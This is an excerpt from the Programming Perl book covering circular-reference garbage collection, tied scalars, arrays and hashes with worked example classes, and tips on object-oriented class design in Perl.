When a block is exited, its my variables are normally freed up. But their internal reference counts can never go to zero, because the variables point at each other or themselves. This is circular reference. No one outside the block can reach them, which makes them useless. But even though they should go away, they can't. When building recursive data structures, you'll have to break the self-reference yourself explicitly if you don't care to cause a memory leak.

For example, here's a self-referential node such as one might use in a sophisticated tree structure:

sub new_node {
    my $self = shift;
    my $class = ref($self) || $self;
    my $node = {};
    $node->{LEFT} = $node->{RIGHT} = $node;
    $node->{DATA} = [ @_ ];
    return bless $node, $class;
}

If you create nodes like this, they (currently)[15] won't ever go away unless you break the circular references yourself.

[15] In other words, this behavior is not to be construed as a feature, and you shouldn't depend on it. Someday, Perl may have a full mark-and-sweep style garbage collection as in Lisp or Scheme. If that happens, it will properly clean up memory lost to unreachable circular data.

Well, almost never.

When an interpreter thread finally shuts down (usually when your program exits), then a complete pass of garbage collection is performed, and everything allocated by that thread gets destroyed. This is essential to support Perl as an embedded or a multithreadable language. When a thread shuts down, all its objects must be properly destructed, and all its memory has to be reclaimed. The following program demonstrates Perl's multi-phased garbage collection:

#!/usr/bin/perl
package Subtle;

sub new {
    my $test;
    $test = \$test;   # Create a self-reference.
    warn "CREATING " . \$test;
    return bless \$test;
}

sub DESTROY {
    my $self = shift;
    warn "DESTROYING $self";
}

package main;

warn "starting program";
{
    my $a = Subtle->new;
    my $b = Subtle->new;
    $$a = 0;           # Break this self-reference, but not the other.
    warn "leaving block";
}

warn "just exited block";
warn "time to die...";
exit;

When run as /tmp/try, the following output is produced:

starting program at /tmp/try line 18.
CREATING SCALAR(0x8e5b8) at /tmp/try line 7.
CREATING SCALAR(0x8e57c) at /tmp/try line 7.
leaving block at /tmp/try line 23.
DESTROYING Subtle=SCALAR(0x8e5b8) at /tmp/try line 13.
just exited block at /tmp/try line 26.
time to die... at /tmp/try line 27.
DESTROYING Subtle=SCALAR(0x8e57c) during global destruction.

Notice that "global destruction" in the last line? That's the thread garbage collector reaching the unreachable.

Objects are always destructed even when regular references aren't, and in fact are destructed in a separate pass before ordinary references. This is an attempt to prevent object destructors from using references that have themselves been destructed. Plain references are (currently) only garbage collected if the "destruct level" is greater than 0, which is usually only true when Perl is invoked as an embedded interpreter. You can test the higher levels of global destruction in the regular Perl executable by setting the PERL_DESTRUCT_LEVEL environment variable (presuming the -DDEBUGGING option was enabled at Perl build time).

Previous: 5.2 Modules | Programming Perl | Next: 5.4 Using Tied Variables
5.2 Modules | Book Index | 5.4 Using Tied Variables


[Chapter 5] 5.4 Using Tied Variables

Programming PerlSearch this book

5.4 Using Tied Variables

In older versions of Perl, a user could call dbmopen to tie a hash to a UNIX DBM file. Whenever the hash was accessed, the database file on disk (really just a hash, not a full relational database) would be magically[16] read from or written to. In modern versions of Perl, you can bind any ordinary variable (scalar, array, or hash) to an implementation class by using tie. (The class may or may not implement a DBM file.) You can break this association with untie.

[16] In this case, magically means "transparently doing something very complicated". You know the old saying - any technology sufficiently advanced is indistinguishable from a Perl script.

The tie function creates the association by creating an object internally to represent the variable to the class. If you have a tied variable, but want to get at the underlying object, there are two ways to do it. First, the tie function returns a reference to the object. But if you didn't bother to store that object reference anywhere, you could still retrieve it using the tied function.

$object = tie VARIABLE, CLASSNAME, LIST
untie VARIABLE
$object = tied VARIABLE

The tie function binds the variable to the class package that provides the methods for that variable. Once this magic has been performed, accessing a tied variable automatically triggers method calls in the proper class. All the complexity of the class is hidden behind magic method calls. The method names are predetermined, since they're called implicitly from within the innards of Perl. These names are in ALL CAPS, which is a convention in Perl culture that indicates that the routines are called implicitly rather than explicitly - just like BEGIN, END, and DESTROY. And AUTOLOAD too, for that matter.

You can almost think of tie as a funny kind of bless, except that it blesses a bare variable instead of a thingy reference, and takes extra parameters, like a constructor. That's because it actually does call a constructor internally. (That's one of the magic methods we mentioned.) This constructor is passed the CLASSNAME you specified, as well as any additional arguments you supply in the LIST. It is not passed the VARIABLE, however. The only way the constructor can tell which kind of VARIABLE is being tied is by knowing its own method name. This is not the customary constructor name, new, but rather one of TIESCALAR, TIEARRAY, or TIEHASH. (You can likely figure out which name goes with which variable type.) The constructor just returns an object reference in the normal fashion, and doesn't worry about whether it was called from tie - which it may not have been, since you can call these methods directly if you like. (Indeed, if you've tied your variable to a class that provides other methods not accessible through the variable, you must call the other methods directly yourself, via the object reference. These extra methods might provide services like file locking or other forms of transaction protection.)

As in any constructor, these constructors must bless a reference to a thingy and return it as the implementation object. The thingy inside the implementation object doesn't have to be of the same type as the variable you're tying to. It does have to be a properly blessed object, though. See the example below on tied arrays, which uses a hash object to hold information about an array.

The tie function will not use or require a module for you - you must do that explicitly yourself. (On the other hand, the dbmopen emulator function will, for backward compatibility, attempt to use one or another DBM implementation. But you can preempt its selection with an explicit use, provided the module you use is one of the modules in dbmopen's list of modules to try. See the AnyDBM_File module in Chapter 7 for a fuller explanation.)

5.4.1 Tying Scalars

A class implementing a tied scalar must define the following methods: TIESCALAR, FETCH, STORE, and possibly DESTROY. These routines will be invoked implicitly when you tie a variable (TIESCALAR), read a tied variable (FETCH), or assign a value to a tied variable (STORE). The DESTROY method is called (as always) when the last reference to the object disappears. (This may or may not happen when you call untie, which destroys the reference used by the tie, but doesn't destroy any outstanding references you may have squirreled away elsewhere.) The FETCH and STORE methods are triggered when you access the variable that's been tied, not the object it's been tied to. If you have a handle on the object (either returned by the initial tie or retrieved later via tied), you can access the underlying object yourself without automatically triggering its FETCH or STORE methods.

Let's look at each of these methods in turn, using as our example an imaginary class called Nice.[17] Variables tied to this class are scalars containing process priorities, and each such variable is implicitly associated with an object that contains a particular process ID, such the ID of the currently running process or of the parent process. (Presumably you'd name your variables to remind you which process you're referring to.) Variables are tied to the class this way:

[17] UNIX priorities are associated with the word "nice" because they're inverted from what you'd expect. Higher priorities run slower, hence are "nicer" to other processes. A more portable module might prefer a less UNIX-centric name like Priority. But if we were writing this class for the Perl library, we'd probably call it Tie::Priority or some such, to fit the library's hierarchical naming scheme. Not everything can be a top-level class, or things will get rather confused. Not to mention people.

use Nice;       # load the Nice.pm module

tie $his_speed, 'Nice', getppid();
tie $my_speed,  'Nice', $$;

Once the variables have been tied, their previous contents are no longer accessible. The internally forged connection between the variable and the object takes precedence over ordinary variable semantics.

For example, let's say you copy a variable that's been tied:

$speed = $his_speed;

Instead of reading the value in the ordinary fashion from the $his_speed scalar variable, Perl implicitly calls the FETCH method on the associated underlying object. It's as though you'd written this:

$speed = (tied $his_speed)->FETCH():

Or if you'd captured the object returned by the tie, you could simply use that reference instead of the tied function, as in the following sample code.

$myobj = tie $my_speed, 'Nice', $$;
$speed = $my_speed;       # through the implicit interface
$speed = $myobj->FETCH(); # same thing, explicitly

You can use $myobj to call methods other than the implicit ones, such as those provided by the DB_File class (see Chapter 7). However, one normally minds one's own business and leaves the underlying object alone, which is why you often see the return value from tie ignored. You can still get at it if you need it later.

That's the external view of it. For our implementation, we'll use the BSD::Resource class (found in CPAN, but not included with Perl) to access the PRIO_PROCESS, PRIO_MIN, and PRIO_MAX constants from your system. Here's the preamble of our class, which we will put into a file named Nice.pm:

package Nice;
use Carp;            # Propagates error messages nicely.
use BSD::Resource;   # Use these hooks into the OS.
use strict;          # Enforce some discipline on ourselves,
use vars '$DEBUG';   # but exempt $DEBUG from discipline.

The Carp module provides methods carp(), croak(), and confess(), which we'll use in various spots below. As usual, see Chapter 7 for more about Carp.

The use strict would ordinarily disallow the use of unqualified package variables like $DEBUG, but we then declared the global with use vars, so it's exempt. Otherwise we'd have to say $Nice::DEBUG everywhere. But it is a global, and other modules can turn on debugging in our module by setting $Nice::DEBUG to some other value before using our module.

TIESCALAR CLASSNAME, LIST

The TIESCALAR method of the class (that is, the class package, but we're going to stop reminding you of that) is implicitly invoked whenever tie is called on a scalar variable. The LIST contains any optional parameters needed to properly initialize an object of the given class. (In our example, there is only one parameter, the process ID.) The method is expected to return an object, which may or may not contain an anonymous scalar as its blessed thingy. In our example, it does.

sub TIESCALAR {
    my $class = shift;
    my $pid   = shift;

    $pid ||= $$;              # arg of 0 defaults to my process

    if ($pid =~ /\D/) {
        carp "Nice::TIESCALAR got non-numeric pid $pid" if $^W;
        return undef;
    }

    unless (kill 0, $pid) {   # EPERM or ERSCH, no doubt
        carp "Nice::TIESCALAR got bad pid $pid: $!" if $^W;
        return undef;
    }

    return bless \$pid, $class;
}

Recall that the statement with the ||= operator is just shorthand for

$pid = $pid || $$;      # set if not set

We say the object contains an anonymous scalar, but it doesn't really become anonymous until my $pid goes out of scope, since that's the variable we're generating a reference to when we bestow the blessing. When returning a reference to an array or hash, one could use the same approach by employing a lexically scoped array or hash variable, but usually people just use the anonymous array or hash composers, [] and {}. There is no similar composer for anonymous scalars.

On the subject of subterfuge, the kill isn't really killing the process. On most UNIX systems, a signal 0 merely checks to see whether the process is there.

This particular tie class has chosen to return an error value rather than raise an exception if its constructor fails. Other classes may not wish to be so forgiving. (In any event, the tie itself will throw an exception when the constructor fails to return an object. But you get more error messages this way, which many folks seem to prefer.) This routine checks the global variable $^W (which reflects Perl's -w flag) to see whether to emit its extra bit of noise.

But for all that, it's an ordinary constructor, and doesn't know it's being called from tie. It just suspects it strongly.

FETCH THIS

This method is triggered every time the tied variable is accessed (that is, read). It takes no arguments beyond a reference to the object that is tied to the variable. (The FETCH methods for arrays and hashes do, though.) Since in this case we're just using a scalar thingy as the tied object, a simple scalar dereference, $$self, allows the method to get at the real value stored in its object. In the example below, that real value is the process ID to which we've tied our variable.

sub FETCH {
    my $self = shift;       # ref to scalar

    confess "wrong type" unless ref $self;
    croak "too many arguments" if @_;

    my $nicety;
    local $! = 0;           # preserve errno
    $nicety = getpriority(PRIO_PROCESS, $$self);
    if ($!) { croak "getpriority failed: $!" }
    return $nicety;
}

This time we've decided to blow up (raise an exception) if the getpriority function fails - there's no place for us to return an error otherwise, and it's probably the right thing to do.

Note the absence of a $ on PRIO_PROCESS. That's really a subroutine call into BSD::Resource that returns the appropriate constant to feed back into getpriority. The PRIO_PROCESS declaration was imported by the use declaration. And that's why there's no $ on the front of it - it's not a variable. (If you had put a $, the use strict would have caught it for you as an unqualified global.)

STORE THIS, VALUE

This method is triggered every time the tied variable is set (assigned). The first argument, THIS, is again a reference to the object associated with the variable, and VALUE is the value the user is assigning to the variable.

sub STORE {
    my $self = shift;
    my $new_nicety = shift;

    confess "wrong type" unless ref $self;
    croak "too many arguments" if @_;

    if ($new_nicety < PRIO_MIN) {
        carp sprintf
          "WARNING: priority %d less than minimum system priority %d",
              $new_nicety, PRIO_MIN if $^W;
        $new_nicety = PRIO_MIN;
    }

    if ($new_nicety > PRIO_MAX) {
        carp sprintf
          "WARNING: priority %d greater than maximum system priority %d",
              $new_nicety, PRIO_MAX if $^W;
        $new_nicety = PRIO_MAX;
    }

    unless (defined setpriority(PRIO_PROCESS, $$self, $new_nicety)) {
        confess "setpriority failed: $!";
    }
    return $new_nicety;
}

There doesn't appear to be anything worth explaining there, except maybe that we return the new value because that's what an assignment returns.

DESTROY THIS

This method is triggered when the object associated with the tied variable needs to be destructed (usually only when it goes out of scope). As with other object classes, such a method is seldom necessary, since Perl deallocates the moribund object's memory for you automatically. Here, we'll use a DESTROY method for debugging purposes only.

sub DESTROY {
    my $self = shift;
    confess "wrong type" unless ref $self;
    carp "[ Nice::DESTROY pid $$self ]" if $DEBUG;
}

That's about all there is to it. Actually, it's more than all there is to it, since we've done a few nice things here for the sake of completeness, robustness, and general aesthetics (or lack thereof). Simpler TIESCALAR classes are certainly possible.

5.4.2 Tying Arrays

A class implementing a tied ordinary array must define the following methods: TIEARRAY, FETCH, STORE, and perhaps DESTROY.

Tied arrays are incomplete. There are, as yet, no defined methods to deal with $#ARRAY access (which is hard, since it's an lvalue), nor with the other obvious array functions, like push, pop, shift, unshift, and splice. This means that a tied array doesn't behave like an untied one. You can't even determine the length of the array. But if you use the tied arrays only for simple read and write access you'll be OK. These restrictions will be removed in a future release.

For the purpose of this discussion, we will implement an array whose indices are fixed at its creation. If you try to access anything beyond those bounds, you will cause an exception.

require Bounded_Array;
tie @ary, 'Bounded_Array', 2;   # maximum allowable subscript is 2
$| = 1;
for $i (0 .. 10) {
    print "setting index $i: ";
    $ary[$i] = 10 * $i;         # should raise exception on 3
    print "value of element $i now $ary[$i]\n";
}

The preamble code for the class is as follows:

package Bounded_Array;
use Carp;
use strict;

TIEARRAY CLASSNAME, LIST

This is the constructor for the class. That means it is expected to return a blessed reference through which the new array (probably an anonymous array reference) will be accessed.

In our example, just to demonstrate that you don't really have to use an array thingy, we'll choose a hash thingy to represent our object. A hash works out well as a generic record type: the {BOUND} field will store the maximum bound allowed, and the {ARRAY} field will hold the true array reference. Anyone outside the class who tries to dereference the object returned (doubtless thinking it an array reference), will blow up. This just goes to show that you should respect an object's privacy (unless you're well acquainted and committed to maintaining a good relationship for the rest of your life).

sub TIEARRAY {
    my $class = shift;
    my $bound = shift;

    confess "usage: tie(\@ary, 'Bounded_Array', max_subscript)"
        if @_ or $bound =~ /\D/;

    return bless {
        BOUND => $bound,
        ARRAY => [],
    }, $class;
}

In this case we have used the anonymous hash composer rather than a lexically scoped variable that goes out of scope. We also used the array composer within the hash composer.

FETCH THIS, INDEX

This method will be triggered every time an individual element in the tied array is accessed (read). It takes one argument beyond its self reference: the index we're trying to fetch. (The index is an integer, but just because the caller thinks of it as a mundane integer doesn't mean you have to do anything "linear" with it. You could use it to seed a random number generator, for instance, or process it with a hash function to do a random lookup in a hash table.)

Here we use list assignment rather than shift to process the method arguments. TMTOWTDI.

sub FETCH {
    my ($self, $idx) = @_;
    if ($idx > $self->{BOUND}) {
        confess "Array OOB: $idx > $self->{BOUND}";
    }
    return $self->{ARRAY}[$idx];
}

As you may have noticed, the names of the FETCH, STORE, and DESTROY methods are the same for all tied classes, even though the constructors differ in name (TIESCALAR versus TIEARRAY). While in theory you could have the same class servicing several tied types, in practice this becomes cumbersome, and it's easiest to simply write them with one type per class.

STORE THIS, INDEX, VALUE

This method will be triggered every time an element in the tied array is set (written). It takes two arguments beyond its self reference: the index at which we're trying to store something and the value we're trying to put there. For example:

sub STORE {
    my ($self, $idx, $value) = @_;
    if ($idx > $self->{BOUND} ) {
        confess "Array OOB: $idx > $self->{BOUND}";
    }
    return $self->{ARRAY}[$idx] = $value;
}
DESTROY THIS

This method will be triggered when the tied object needs to be deallocated. As with the scalar tie class, this is almost never needed in a language that does its own storage allocation, so this time we'll just leave it out.

The code we presented at the beginning of this section attempts several out-of-bounds accesses. It will therefore generate the following output:

setting index 0: value of element 0 now 0
setting index 1: value of element 1 now 10
setting index 2: value of element 2 now 20
setting index 3: Array OOB: 3 > 2 at Bounded_Array.pm line 39
        Bounded_Array::FETCH called at testba line 12

5.4.3 Tying Hashes

For historical reasons, hashes have the most complete and useful tie implementation. A class implementing a tied associative array must define various methods. TIEHASH is the constructor. FETCH and STORE access the key/value pairs. EXISTS reports whether a key is present in the hash, and DELETE deletes one. CLEAR empties the hash by deleting all the key/value pairs. FIRSTKEY and NEXTKEY implement the keys and each built-in functions to iterate over all the keys. And DESTROY (if defined) is called when the tied object is deallocated.

If this seems like a lot, then feel free to inherit most of these methods from the standard Tie::Hash module, redefining only the interesting ones. See the Tie::Hash module documentation in Chapter 7 for details.

Remember that Perl distinguishes a key not existing in the hash from a key that exists with an undefined value. The two possibilities can be tested with the exists and defined functions, respectively.

Because functions like keys and values may return huge array values when used on large hashes (like tied DBM files), you may prefer to use the each function to iterate over such. For example:

# print out B-news history file offsets
use NDBM_File;
tie(%HIST, 'NDBM_File', '/usr/lib/news/history', 1, 0);
while (($key,$val) = each %HIST) {
    print $key, ' = ', unpack('L',$val), "\n";
}
untie(%HIST);

(But does anyone run B-news any more?)

Here's an example of a somewhat peculiar tied hash class: it gives you a hash representing a particular user's dotfiles (that is, files whose names begin with a period). You index into the hash with the name of the file (minus the period) and you get back that dotfile's contents. For example:

use DotFiles;
tie %dot, "DotFiles";
if ( $dot{profile} =~ /MANPATH/ or
     $dot{login}   =~ /MANPATH/ or
     $dot{cshrc}   =~ /MANPATH/    )
{
    print "you've set your manpath\n";
}

Here's another way to use our tied class:

# third argument is name of user whose dot files we will tie to
tie %him, 'DotFiles', 'daemon';
foreach $f ( keys %him ) {
    printf "daemon dot file %s is size %d\n",
        $f, length $him{$f};
}

In our DotFiles example we implement the object as a regular hash containing several important fields, of which only the {CONTENTS} field will be what the user thinks of as the real hash. Here are the fields:

USER

Whose dot files this object represents

HOME

Where those dotfiles live

CLOBBER

Whether we are allowed to change or remove those dot files

CONTENTS

The hash of dotfile names and content mappings

Here's the start of DotFiles.pm:

package DotFiles;
use Carp;
sub whowasi { (caller(1))[3] . '()' }
my $DEBUG = 0;
sub debug { $DEBUG = @_ ? shift : 1 }

For our example, we want to be able to emit debugging information to help in tracing during development. We also keep one convenience function around internally to help print out warnings; whowasi() returns the name of the function that called the current function (whowasi()'s "grandparent" function).

Here are the methods for the DotFiles tied hash.

TIEHASH CLASSNAME, LIST

This is the constructor for the class. That means it is expected to return a blessed reference through which the new object may be accessed. Again, the user of the tied class probably has little need of the object. It's Perl itself that needs the returned object so that it can magically call the right methods when the tied variable is accessed.

Here's the constructor:

sub TIEHASH {
    my $self = shift;
    my $user = shift || $>;
    my $dotdir = shift || "";

    croak "usage: @{[&whowasi]} [USER [DOTDIR]]" if @_;

    $user = getpwuid($user) if $user =~ /^\d+$/;
    my $dir = (getpwnam($user))[7]
            or croak "@{[&whowasi]}: no user $user";
    $dir .= "/$dotdir" if $dotdir;

    my $node = {
        USER        => $user,
        HOME        => $dir,
        CONTENTS    => {},
        CLOBBER     => 0,
    };

    opendir DIR, $dir
            or croak "@{[&whowasi]}: can't opendir $dir: $!";
    foreach $dot ( grep /^\./ && -f "$dir/$_", readdir(DIR)) {
        $dot =~ s/^\.//;
        $node->{CONTENTS}{$dot} = undef;
    }
    closedir DIR;

    return bless $node, $self;
}

It's probably worth mentioning that if you're going to filetest the return values returned by that readdir, you'd better prepend the directory in question (as we do). Otherwise, since no chdir was done, you'd test the wrong file.

FETCH THIS, KEY

This method will be triggered every time an element in the tied hash is accessed (read). It takes one argument beyond its self reference: the key whose value we're trying to fetch. The key is a string, and you can do anything you like with it (consistent with its being a string).

Here's the fetch for our DotFiles example.

sub FETCH {
    carp &whowasi if $DEBUG;
    my $self = shift;
    my $dot = shift;
    my $dir = $self->{HOME};
    my $file = "$dir/.$dot";

    unless (exists $self->{CONTENTS}->{$dot} || -f $file) {
        carp "@{[&whowasi]}: no $dot file" if $DEBUG;
        return undef;
    }

    # Implement a cache.
    if (defined $self->{CONTENTS}->{$dot}) {
        return $self->{CONTENTS}->{$dot};
    } else {
        return $self->{CONTENTS}->{$dot} = `cat $dir/.$dot`;
    }
}

This function was easy to write by having it call the UNIX cat(1) command, but it would be more portable (and somewhat more efficient) to open the file ourselves. On the other hand, since dot files are a UNIXy concept, we're not that concerned.

STORE THIS, KEY, VALUE

This method will be triggered every time an element in the tied hash is set (written). It takes two arguments beyond its self reference: the key under which we're storing the value and the value we're putting there.

Here in our DotFiles example we won't let users overwrite a file without first calling the clobber() method on the original object reference returned by tie.

sub STORE {
    carp &whowasi if $DEBUG;
    my $self = shift;
    my $dot = shift;
    my $value = shift;
    my $file = $self->{HOME} . "/.$dot";

    croak "@{[&whowasi]}: $file not clobberable"
        unless $self->{CLOBBER};

    open(F, "> $file") or croak "can't open $file: $!";
    print F $value;
    close(F);
}

If they want to clobber something, they can say:

$ob = tie %daemon_dots, 'daemon';
$ob->clobber(1);
$daemon_dots{signature} = "A true daemon\n";

But there's also the tied function, so they could alternatively set clobber using:

tie %daemon_dots, 'daemon';
tied(%daemon_dots)->clobber(1);

The clobber method is simply:

sub clobber {
    my $self = shift;
    $self->{CLOBBER} = @_ ? shift : 1;
}
DELETE THIS, KEY

This method is triggered when we remove an element from the hash, typically by using the delete function. Again, we'll be careful to check whether the user really wants to clobber files.

sub DELETE   {
    carp &whowasi if $DEBUG;

    my $self = shift;
    my $dot = shift;
    my $file = $self->{HOME} . "/.$dot";
    croak "@{[&whowasi]}: won't remove file $file"
        unless $self->{CLOBBER};
    delete $self->{CONTENTS}->{$dot};
    unlink $file or carp "@{[&whowasi]}: can't unlink $file: $!";
}
CLEAR THIS

This method is triggered when the whole hash is to be cleared, usually by assigning the empty list to it.

In our example, that would remove all the user's dotfiles! It's such a dangerous thing that we'll require CLOBBER to be set higher than 1 before this can happen.

sub CLEAR {
    carp &whowasi if $DEBUG;
    my $self = shift;
    croak "@{[&whowasi]}: won't remove all dotfiles for $self->{USER}"
        unless $self->{CLOBBER} > 1;
    my $dot;
    foreach $dot ( keys %{$self->{CONTENTS}}) {
        $self->DELETE($dot);
    }
}
EXISTS THIS, KEY

This method is triggered when the user invokes the exists function on a particular hash. In our example, we'll look at the {CONTENTS} hash element to find the answer:

sub EXISTS   {
    carp &whowasi if $DEBUG;
    my $self = shift;
    my $dot = shift;
    return exists $self->{CONTENTS}->{$dot};
}
FIRSTKEY THIS

This method is triggered when the user begins to iterate through the hash, such as with a keys or each call. By calling keys in a scalar context, we reset its internal state to ensure that the next each used in the return statement will get the first key.

sub FIRSTKEY {
    carp &whowasi if $DEBUG;
    my $self = shift;
    my $a    = keys %{$self->{CONTENTS}};
    return scalar each %{$self->{CONTENTS}};
}
NEXTKEY THIS, LASTKEY

This method is triggered during a keys or each iteration. It has a second argument which is the last key that has been accessed. This is useful if the NEXTKEY method needs to know its previous state to calculate the next state.

For our example, we are using a real hash to represent the tied hash's data, except that this hash is stored in the hash's CONTENTS field instead of in the hash itself. So we can just rely on Perl's each iterator:

sub NEXTKEY  {
    carp &whowasi if $DEBUG;
    my $self = shift;
    return scalar each %{ $self->{CONTENTS} }
}
DESTROY THIS

This method is triggered when a tied hash's object is about to be deallocated. You don't really need it except for debugging and extra cleanup. Here's a very simple function:

sub DESTROY  {
    carp &whowasi if $DEBUG;
}

Previous: 5.3 Objects | Programming Perl | Next: 5.5 Some Hints About Object Design
5.3 Objects | Book Index | 5.5 Some Hints About Object Design


[Chapter 5] 5.5 Some Hints About Object Design

Programming PerlSearch this book

5.5 Some Hints About Object Design

In this section we present a collection of tricks, hints, and code examples derived from various sources. We hope to whet your curiosity about such things as the use of instance variables and the mechanics of object and class relationships. You can ignore these things when you're merely using a class, but when you're implementing a class, you have to pay more attention to what you're doing, and why.

You needn't feel bound by the particular styles and idioms you see here, but you should be thinking about the underlying principles.

5.5.1 Object-Oriented Scaling Tips

The following guidelines will help you design a class that can be transparently used as a base class by another class.

  1. Do not attempt to verify that the type of $self is the class you're in. That'll break if the class is inherited, when the type of $self is valid but its package isn't what you expect. See rule 5.

    package Some_Class;
sub some_method {
    my $self = shift;
    unless (ref($self) eq "Some_Class") {          # WRONG
        croak "I'm not a Some_Class anymore!";
    }
    unless (ref $self) {                           # better
        croak "bad method call";
    }
}

  2. If an object-oriented (->) or indirect-object syntax was used, then the object is probably the correct type and there's no need to become paranoid about it. Perl isn't a paranoid language anyway. If people subvert the object-oriented or indirect-object syntax by calling a method directly as an ordinary function, or vice versa, then they probably know what they're doing and you should let them do it.

  3. Use the two-argument form of bless. Let a derived class (subclass) use your constructor. See the section on "Inheriting a Constructor".

  4. The derived class is allowed to know things about its immediate base class (superclass); the base class is allowed to know nothing about a derived class.

  5. Don't be trigger-happy with inheritance, which should generally be used to represent only the "is-a" relationship. One of the "has-a" relationships (implying some sort of aggregation) is often more appropriate. See the later sections on "Containment", "Implementation", and "Delegation".

  6. The object is the namespace. Make package globals accessible via the object. That means you should include a reference to any package data inside the object somewhere, instead of having the method guess where to look for it. See the section on "Class Context and the Object".

  7. Indirect-object syntax is certainly less noisy, but it is also prone to ambiguities which can cause difficult-to-find bugs. Allow people to use the sure-thing object-oriented syntax, even if you don't like it. On the other hand, allow people to use the indirect-object syntax when it increases clarity. Don't impose artificial house rules in either direction.

  8. Do not use the ordinary subroutine call syntax on a method. You're going to be bitten someday. Someone might move that method into a base class and your code will be broken. On top of that, you're feeding the paranoia mentioned in rule 2.

  9. Don't assume you know the home package of a method. You're making it difficult for someone to override that method. See the later section "Thinking of Code Reuse".

5.5.2 Instance Variables

An anonymous array or anonymous hash can be used to hold instance variables. (The hashes fare better in the face of inheritance.) We'll also show you some nice interactions with named parameters.

package HashInstance;

sub new {
    my $type   = shift;
    my %params = @_;
    my $self   = {};
    $self->{High} = $params{High};
    $self->{Low}  = $params{Low};
    return bless $self, $type;
}

package ArrayInstance;

sub new {
    my $type   = shift;
    my %params = @_;
    my $self   = [];
    $self->[0] = $params{Left};
    $self->[1] = $params{Right};
    return bless $self, $type;
}

package main;

$a = HashInstance->new( High => 42, Low => 11 );
print "High=$a->{High}\n";
print "Low=$a->{Low}\n";

$b = ArrayInstance->new( Left => 78, Right => 40 );
print "Left=$b->[0]\n";
print "Right=$b->[1]\n";

This demonstrates how object references act like ordinary references if you use them like ordinary references, as you often do within the class definitions. Strictly speaking, we're cheating here on the principle of encapsulation when we dereference $a and $b outside of their class definitions. But hey, the classes didn't provide access methods, so there's a bit of blame on both sides.

Besides, most of the rest of these examples cheat too.

5.5.3 Scalar Instance Variables

An anonymous scalar can be used when only one instance variable is needed.

package ScalarInstance;

sub new {
    my $type = shift;
    my $self;
    $self = shift;
    return bless \$self, $type;
}

package main;

$a = ScalarInstance->new( 42 );
print "a=$$a\n";

5.5.4 Instance Variable Inheritance

This example demonstrates how one might inherit instance variables from a base class for inclusion in the new class. This requires calling the base class's constructor and adding one's own instance variables to the new object. Note that you're pretty much forced to use a hash if you want to do inheritance, since you can't have a reference to multiple types at the same time. A hash allows you to extend your object's little namespace in arbitrary directions, unlike an array, which can only be extended at the end. So, for example, your base class might use the first five elements of your array, but the various derived classes might start fighting over who owns the sixth element. So use a hash instead, like this:

package Base;

sub new {
    my $type = shift;
    my $self = {};
    $self->{buz} = 42;
    return bless $self, $type;
}

package Derived;
@ISA = qw( Base );

sub new {
    my $type = shift;
    my $self = Base->new;
    $self->{biz} = 11;
    return bless $self, $type;
}

package main;

$a = Derived->new;
print "buz = ", $a->{buz}, "\n";
print "biz = ", $a->{biz}, "\n";

You still have to be careful that two derived classes don't pick the same name in the object's namespace, but that's an easier problem than trying to make the same array element hold different values simultaneously.

5.5.5 Containment (the "Has-a" Relationship)

The following demonstrates how one might implement the "contains" relationship between objects. This is closely related to the "uses" relationship we show later.

package Inner;

sub new {
    my $type = shift;
    my $self = {};
    $self->{buz} = 42;
    return bless $self, $type;
}

package Outer;

sub new {
    my $type = shift;
    my $self = {};
    $self->{Inner} = Inner->new;
    $self->{biz} = 11;
    return bless $self, $type;
}

package main;

$a = Outer->new;
print "buz = ", $a->{Inner}->{buz}, "\n";
print "biz = ", $a->{biz}, "\n";

5.5.6 Overriding Base Class Methods

The following example demonstrates how to override a base class method within a derived class, and then call the overridden method anyway. The SUPER pseudoclass allows the programmer to call an overridden base class (superclass) method without actually knowing where that method is defined.[18]

[18] This is not to be confused with the mechanism mentioned earlier for overriding Perl's built-in functions, which aren't object methods, and so aren't overridden by inheritance. You call overridden built-ins via the pseudopackage CORE rather than the pseudopackage SUPER.

package Buz;
sub goo { print "here's the goo\n" }

package Bar;
@ISA = qw( Buz );
sub google { print "google here\n" }

package Baz;
sub mumble { print "mumbling\n" }

package Foo;
@ISA = qw( Bar Baz );

sub new {
    my $type = shift;
    return bless [], $type;
}
sub grr { print "grumble\n" }
sub goo {
    my $self = shift;
    $self->SUPER::goo();
}
sub mumble {
    my $self = shift;
    $self->SUPER::mumble();
}
sub google {
    my $self = shift;
    $self->SUPER::google();
}

package main;

$foo = Foo->new;
$foo->mumble;
$foo->grr;
$foo->goo;
$foo->google;

5.5.7 Implementation (the "Uses" Relationship)

This example demonstrates an interface for the SDBM_File class. This creates a "uses" relationship between our class and the SDBM_File class.

package MyDBM;

require SDBM_File;
require Tie::Hash;
@ISA = qw( Tie::Hash );

sub TIEHASH {
    my $type = shift;
    my $ref  = SDBM_File->new(@_);
    return bless {dbm => $ref}, $type;
}
sub FETCH {
    my $self = shift;
    my $ref  = $self->{dbm};
    $ref->FETCH(@_);
}
sub STORE {
    my $self = shift;
    if (defined $_[0]){
        my $ref = $self->{dbm};
        $ref->STORE(@_);
    } else {
        die "Cannot STORE an undefined key in MyDBM\n";
    }
}

package main;
use Fcntl qw( O_RDWR O_CREAT );

tie %foo, "MyDBM", "sdbmfile1", O_RDWR|O_CREAT, 0640;
$foo{Fred} = 123;
print "foo-Fred = $foo{Fred}\n";

tie %bar, "MyDBM", "sdbmfile2", O_RDWR|O_CREAT, 0640;
$bar{Barney} = 456;
print "bar-Barney = $bar{Barney}\n";

5.5.8 Thinking of Code Reuse

When we think of code reuse, we often fall into the habit of thinking that new code will always reuse old code. But one strength of object-oriented languages is the ease with which old code can use new code, as long as you don't introduce spurious relationships that mess things up. The following examples will demonstrate first how one can hinder code reuse and then how one can promote code reuse.

This first example illustrates a class that uses a fully qualified method call to access the "private" method BAZ(). We'll show that it is impossible to override the BAZ() method.

package FOO;

sub new {
    my $type = shift;
    return bless {}, $type;
}
sub bar {
    my $self = shift;
    $self->FOO::private::BAZ;
}

package FOO::private;

sub BAZ {
    print "in BAZ\n";
}

package main;

$a = FOO->new;
$a->bar;

Now we try to override the BAZ() method. We would like FOO::bar() to call GOOP::BAZ(), but this cannot happen because FOO::bar() explicitly calls FOO::private::BAZ().

package FOO;

sub new {
    my $type = shift;
    return bless {}, $type;
}
sub bar {
    my $self = shift;
    $self->FOO::private::BAZ;
}

package FOO::private;

sub BAZ {
    print "in BAZ\n";
}

package GOOP;
@ISA = qw( FOO );
sub new {
    my $type = shift;
    return bless {}, $type;
}

sub BAZ {
    print "in GOOP::BAZ\n";
}

package main;

$a = GOOP->new;
$a->bar;

